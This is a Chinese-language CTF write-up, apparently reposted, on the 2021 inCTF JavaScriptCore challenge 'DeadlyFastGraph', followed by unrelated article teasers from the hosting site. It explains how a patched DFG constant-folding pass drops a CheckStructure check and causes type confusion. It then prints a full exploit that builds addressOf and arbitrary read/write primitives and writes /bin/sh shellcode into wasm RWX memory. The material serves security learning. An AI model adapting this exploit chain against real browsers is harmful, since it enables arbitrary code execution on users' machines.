以 2021inCTF-DeadlyFastGraph 入门 JSC利用

前言

最近一直在入门浏览器的利用,然后一直都在搞 V8,然后接触的比较多的都是一些混淆、越界的洞,希望后面可以入门 jit

然后在今年的阿里云 CTF 中看到了一道 jsc 相关的题目,当时本来想做一做的,但是环境一直没有搭建好(当然了,搭建好了也不一定会,太菜了,笔者这个比赛就做了一道签到 pwn)。然后后面又找到了一道 2021 年 inCTF 中的一道题目,看这道题目比较简单,所以这里打算以这个题目来入门下 jsc 的利用

注:笔者不会介绍相关前置知识,比如 jsc 中对象的内存布局等,所以如果遇到一些不懂的前置知识,请自行搜索学习。而且文章的关键在于漏洞分析的过程,对于漏洞利用,笔者不会过多解释,因为其与 V8 的利用没有什么本质的区别

环境搭建

题目环境:题目当时的环境是 ubu18.04,这里笔者用的 ubu20.04 搭建的,因为题目把一些调试相关的函数给 patch 去掉了,所以这里自己修改编译一份便于调试

sudo apt install cmake
sudo apt install ruby
sudo apt install libicu-dev
git clone https://github.com/WebKit/WebKit.git
cd WebKit
git checkout c40e806df2c49dac3049825cf48251a230296c6e
patch -p1 < ../DFGHandout/dfg.patch ⇐ 把 descripe 相关注释去掉
Tools/Scripts/build-webkit --jsc-only --debug

这里拉取源码时,最好使用 SSH 协议,因为源码大小有 10GB 左右,直接 https 协议大概率会拉取失败,然后编译时虚拟机内存最好给到 16GB 以上,不然可能会编译失败

笔者就是因为这个问题,拉取源码就拉了一早上…

漏洞分析

patch 如下:

diff --git a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
index eaeaf85ea2..a395a979b8 100644
--- a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
+++ b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
@@ -41,6 +41,8 @@
 #include "PutByIdStatus.h"
 #include "StructureCache.h"
 
+bool backdoorUsed = false;
+
 namespace JSC { namespace DFG {
 
 class ConstantFoldingPhase : public Phase {
@@ -185,7 +187,8 @@ private:
                             indexInBlock, SpecNone, AssertNotEmpty, node->origin, Edge(node->child1().node(), UntypedUse));
                     }
                 }
-                if (value.m_structure.isSubsetOf(set)) {
+                if (!backdoorUsed || value.m_structure.isSubsetOf(set)) {
+                    backdoorUsed = true;
                     m_interpreter.execute(indexInBlock); // Catch the fact that we may filter on cell.
                     node->remove(m_graph);
                     eliminated = true;
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index 04f2c970c2..4b7d3ca6cc 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -516,7 +516,8 @@ private:
     {
         Base::finishCreation(vm);
         JSC_TO_STRING_TAG_WITHOUT_TRANSITION();
-
+        addFunction(vm, "print", functionPrintStdOut, 1);
+        /*
         addFunction(vm, "debug", functionDebug, 1);
         addFunction(vm, "describe", functionDescribe, 1);
         addFunction(vm, "describeArray", functionDescribeArray, 1);
@@ -671,7 +672,7 @@ private:
         addFunction(vm, "asDoubleNumber", functionAsDoubleNumber, 1);
 
         addFunction(vm, "dropAllLocks", functionDropAllLocks, 1);
-
+        */
         if (Options::exposeCustomSettersOnGlobalObjectForTesting()) {
             {
                 CustomGetterSetter* custom = CustomGetterSetter::create(vm, nullptr, testCustomAccessorSetter);

这里主要看第一处补丁,第二处是注释了一下调试相关的函数(所以自已编译是时候把注释去了),第一次补丁打在了 ConstantFoldingPhase 中,其设置了一个 backdoorUsed 全局变量,使得 if 分支第一次总是成立,根据名字可以知道其作用是进行常数折叠:

 bool foldConstants(BasicBlock* block)
    {
        bool changed = false;
        m_state.beginBasicBlock(block);
        for (unsigned indexInBlock = 0; indexInBlock < block->size(); ++indexInBlock) {
            if (!m_state.isValid())
                break;
            
            Node* node = block->at(indexInBlock);

            bool alreadyHandled = false;
            bool eliminated = false;
                    
            switch (node->op()) {
          ......
            case CheckStructure:
            case ArrayifyToStructure: {
                AbstractValue& value = m_state.forNode(node->child1());
                RegisteredStructureSet set;
                if (node->op() == ArrayifyToStructure) {
                    set = node->structure();
                    ASSERT(!isCopyOnWrite(node->structure()->indexingMode()));
                }
                else {
                    set = node->structureSet();
                    if ((SpecCellCheck & SpecEmpty) && node->child1().useKind() == CellUse && m_state.forNode(node->child1()).m_type & SpecEmpty) {
                        m_insertionSet.insertNode(
                            indexInBlock, SpecNone, AssertNotEmpty, node->origin, Edge(node->child1().node(), UntypedUse));
                    }
                }
                if (!backdoorUsed || value.m_structure.isSubsetOf(set)) {
                    backdoorUsed = true;
                    m_interpreter.execute(indexInBlock); // Catch the fact that we may filter on cell.
                    node->remove(m_graph);
                    eliminated = true;
                    break;
                }
                break;
            }
       ......

这里 CheckStructureArrayifyToStructure 会走到漏洞代码逻辑,这里的 CheckStructure 可以理解为 V8 中的 CheckMap,所以这里相当于是直接去除第一个 CheckStructure 检查,所以这里明显引入了一个类型混淆漏洞。

poc 如下:

var obj1 = {a:1, b:2, c:3, d:4};
var obj2 = {a:1, b:2};
var obj3 = {a:1, b:2};

function trigger(obj, val) {
        obj.d = val;
}


for (let i = 0; i < 100; i++) {
        trigger(obj1, 10);
}
debug(describe(obj1));
debug(describe(obj2));
debug(describe(obj3));
readline();

trigger(obj2, 10);
debug(describe(obj2));
debug(describe(obj3));
readline();

调试分析:
在这里插入图片描述
开始时 obj2/obj3 内存布局如下:这里 obj2/3 是相邻的
在这里插入图片描述
执行完 trigger(obj2, 10) 后:
在这里插入图片描述
可以看到 obj3buffterfly 被修改成了 10(这里存在 box 处理,其实就是加了一个 tag)

漏洞利用

漏洞利用比较简单,主要就是去构造 addressOfarb_read/write 原语:

  • 利用类型混淆漏洞修改 obj3 对象的 butterflyobj4 对象
  • 然后就可以利用 obj3 索引属性读取 obj4 的命名属性,从而构造 addressOf 原语
  • 利用 obj3 索引属性修改 obj4butterfly 即可实现任意地址读写,但是得需要 target_addr - 8 字段满足 cap|len 不为 0 的要求

这里可能需要关注下 jscjsvaluebox/unbox,当然这里就不多说了,自己调试调试就可以总结出来了
还有就是这里 wasmrwx 区域地址得在 pwn 中泄漏,在 wasm_instance 中没有找到

exp 如下:

var buf = new ArrayBuffer(8);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_l() {
        return u32[0];
}

function get_h() {
        return u32[1];
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function hexx(str, val) {
        print(str+": 0x"+val.toString(16));
}


var obj1 = {a:1.1, b:2.2, c:3.3, d:4.4, e:5.5};
var obj2 = {a:1.1, b:2.2};
var obj3 = {a:1.1, b:2.2, 0:1.1, 1:2.2};
var obj4 = {a:1.1, b:2.2, 0:1.1, 1:2.2};

function trigger(obj, val) {
        obj.d = val;
}

for (let i = 0; i < 100; i++) {
        trigger(obj1, obj4);
}

trigger(obj2, obj4);

function addressOf(obj) {
        obj4.a = obj;
        return f64_to_u64(obj3[2]);
}

function arb_read(addr) {
        obj3[1] = u64_to_f64(addr);
        return f64_to_u64(obj4[0]);
}

function arb_write(addr, val) {
        obj3[1] = u64_to_f64(addr);
        obj4[0] = u64_to_f64(val);;
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];

var wasm_instance_addr = addressOf(wasm_instance);
var pwn_addr = addressOf(pwn);
hexx("wasm_instance_addr", wasm_instance_addr);
hexx("pwn_addr", pwn_addr);

var rwx_addr = arb_read(pwn_addr+0x38n);
hexx("rwx_addr", rwx_addr);

for (let i = 0; i < shellcode.length; i++) {
        arb_write(rwx_addr, shellcode[i]);
        rwx_addr += 8n;
}

pwn();

效果如下:
在这里插入图片描述

总结

总体来说该题目作为入门题还是可以的,主要可以熟悉一下 jsc 中各种对象的内存布局,但笔者感觉跟 jsc 没啥关系,或者说没有学习到 jsc 的一些特性,看网上关于 jsc 的资料比较少,希望后面可以好好学一下吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519494.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vLLM介绍

vLLM是伯克利大学LMSYS组织开源的大语言模型高速推理框架&#xff0c;旨在极大地提升实时场景下的语言模型服务的吞吐与内存使用效率。vLLM是一个快速且易于使用的库&#xff0c;用于 LLM 推理和服务&#xff0c;可以和HuggingFace 无缝集成。vLLM利用了全新的注意力算法「Page…

ZKP价值链路的垂直整合

1. ZKP proof生命周期 从ZKP&#xff08;zero-knowledge proof&#xff09;生命周期&#xff0c;先看围绕ZKP的价值链路形成&#xff1a; 1&#xff09;User intent用户意图&#xff1a;以某用户意图为起点&#xff0c;如想要在某zk-rollup上swap某token、证明其身份、执行某…

java数据结构与算法刷题-----LeetCode405. 数字转换为十六进制数

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 文章目录 分组位运算 分组位运算 这道题正常来说可以用转换7进制的思想来&…

加速度:电子元器件营销网站的功能和开发周期

据工信部预计&#xff0c;到2023年&#xff0c;我国电子元器件销售总额将达到2.1万亿元。随着资本的涌入&#xff0c;在这个万亿级赛道&#xff0c;市场竞争变得更加激烈的同时&#xff0c;行业数字化发展已是大势所趋。电子元器件B2B商城平台提升数据化驱动能力&#xff0c;扩…

算法学习18:动态规划

算法学习18&#xff1a;动态规划 文章目录 算法学习18&#xff1a;动态规划前言一、线性DP1.数字三角形&#xff1a;f[i][j] max(f[i - 1][j - 1] a[i][j], f[i - 1][j] a[i][j]);2.1最长上升子序列&#xff1a;f[i] max(f[i], f[j] 1);2.2 打印出最长子序列3.最长公共子序…

[从零开始学习Redis | 第九篇] 深入了解Redis数据类型

前言&#xff1a; 在现代软件开发中&#xff0c;数据存储和处理是至关重要的一环。为了高效地管理数据&#xff0c;并实现快速的读写操作&#xff0c;各种数据库技术应运而生。其中&#xff0c;Redis作为一种高性能的内存数据库&#xff0c;广泛应用于缓存、会话存储、消息队列…

MySQL - 基础三

11、事务管理 CURD不加控制&#xff0c;会有什么问题&#xff1f; 当客户端A检查还有一张票时&#xff0c;将票卖掉&#xff0c;还没有执行更新数据库时&#xff0c;客户端B检查了票数&#xff0c;发现大于0&#xff0c;于是又卖了一次票。然后A将票数更新回数据库。这是就出现…

09 flink-sql 中基于 mysql-cdc 的 select * from test_user 的具体实现

前言 这也是最近帮一个朋友看问题 遇到的一个问题 然后 引发了一下 对于 flink-sql 里面的一些 常规处理的思考, 理解 原始问题主要是 在测试库可以使用 flink-sql 可以正常同步, 但是 在生产环境 无法正常同步数据 这个问题 我们后面单独 记录一篇文章 测试用例 下载…

设计模式总结-外观模式(门面模式)

外观模式 模式动机模式定义模式结构外观模式实例与解析实例一&#xff1a;电源总开关实例二&#xff1a;文件加密 模式动机 引入外观角色之后&#xff0c;用户只需要直接与外观角色交互&#xff0c;用户与子系统之间的复杂关系由外观角色来实现&#xff0c;从而降低了系统的耦…

携程旅行 abtest

声明: 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01;wx a15018601872 本文章…

WindowsPowerShell安装配置Vim的折腾记录

说明 vim一直以来都被称为编辑器之神一样的存在。但用不用vim完全取决于你自己&#xff0c;但是作为一个学计算机的同学来说&#xff0c;免不了会和Linux打交道&#xff0c;而大部分的Linux操作系统都预装了vim作为编辑器&#xff0c;如果是简单的任务&#xff0c;其实vim只要会…

c/c++之编译链接

了解我们写的代码是如何转变成可执行文件.exe的是很有必要的&#xff0c;我们将这些底层的东西掌握清楚才能打好基础&#xff0c;筑高楼。 编译链接的全流程 我们平时写代码的文件是.c或者.cpp文件。这里面包括我们的代码&#xff0c;还有宏定义&#xff0c;引用头文件以及注…

齐护机器人方位传感器指南针罗盘陀螺仪

一、方位传感器原理及功能说明 齐护方位传感器是一款集成了三轴磁传感器芯片的方位传感器模块。适用于无人机、机器人、移动和个人手持设备中的罗盘&#xff08;指南针&#xff09;、导航和游戏等高精度应用。模块可以感应XYZ平面角度外&#xff0c;还可实现1至2的水平面角度罗…

Python--Django--说明

Django 是基于python 的 Web 开发框架. &nsbp;   Web开发指的是开发基于B/S 架构, 通过前后端的配合, 将后台服务器上的数据在浏览器上展现给前台用户的应用. &nsbp;   在早期, 没有Web框架的时候, 使用 Python CGI 脚本显示数据库中的数据. Web框架致力于解决一些…

考古:IT架构演进之IOE架构

考古&#xff1a;IT架构演进之IOE架构 IOE架构&#xff08;IBM, Oracle, EMC&#xff09;出现在20世纪末至21世纪初&#xff0c;是一种典型的集中式架构体系。在这个阶段&#xff0c;企业的关键业务系统往往依赖于IBM的小型机&#xff08;后来还包括大型机&#xff09;、Oracle…

后端灰度发布

在软件开发中&#xff0c;"灰度"通常指的是渐进式地将新功能、更新或改进引入到生产环境中&#xff0c;但只对一小部分用户或流量进行部署和测试的过程。这种方法允许开发团队在生产环境中逐步测试新功能&#xff0c;以确保其稳定性、可靠性和用户体验&#xff0c;同…

vscode+anaconda 环境python环境

环境说明&#xff1a; windows 10 vscodeanaconda anaconda 安装&#xff1a; 1、官网下载地址:Free Download | Anaconda 2、安装 接受协议&#xff0c;选择安装位置&#xff0c;一直next&#xff0c;到下面这一步&#xff0c;上面是将Anaconda 添加至环境变量&#xff0…

非关系型数据库--------------------Redis 群集模式

目录 一、集群原理 二、集群的作用 &#xff08;1&#xff09;数据分区 &#xff08;2&#xff09;高可用 Redis集群的作用和优势 三、Redis集群的数据分片 四、Redis集群的工作原理 五、搭建redis群集模式 5.1启用脚本配置集群 5.2修改集群配置 5.3启动redis节点 5…

自动驾驶涉及相关的技术

当科幻走进现实&#xff0c;当影视照进生活&#xff0c;无数次憧憬的自动驾驶&#xff0c;正在慢慢的梦想成真。小时候天马星空的想象&#xff0c;现在正悄无声息的改变着我们的生活。随着汽车电动化进程的加快&#xff0c;自动驾驶技术映入眼帘&#xff0c;很多人可能感觉遥不…

非关系型数据库------------Redis的安装和部署

目录 一、关系型数据库与非关系型数据库 1.1关系型数据库 1.2非关系型数据库 1.2.1非关系型数据库产生背景 1.3关系型非关系型区别 1.4客户访问时&#xff0c;关系型数据库与redis的工作过程 二、Redis 2.1redis简介 2.2Redis命中机制和淘汰机制 2.3Redis 具有以下优…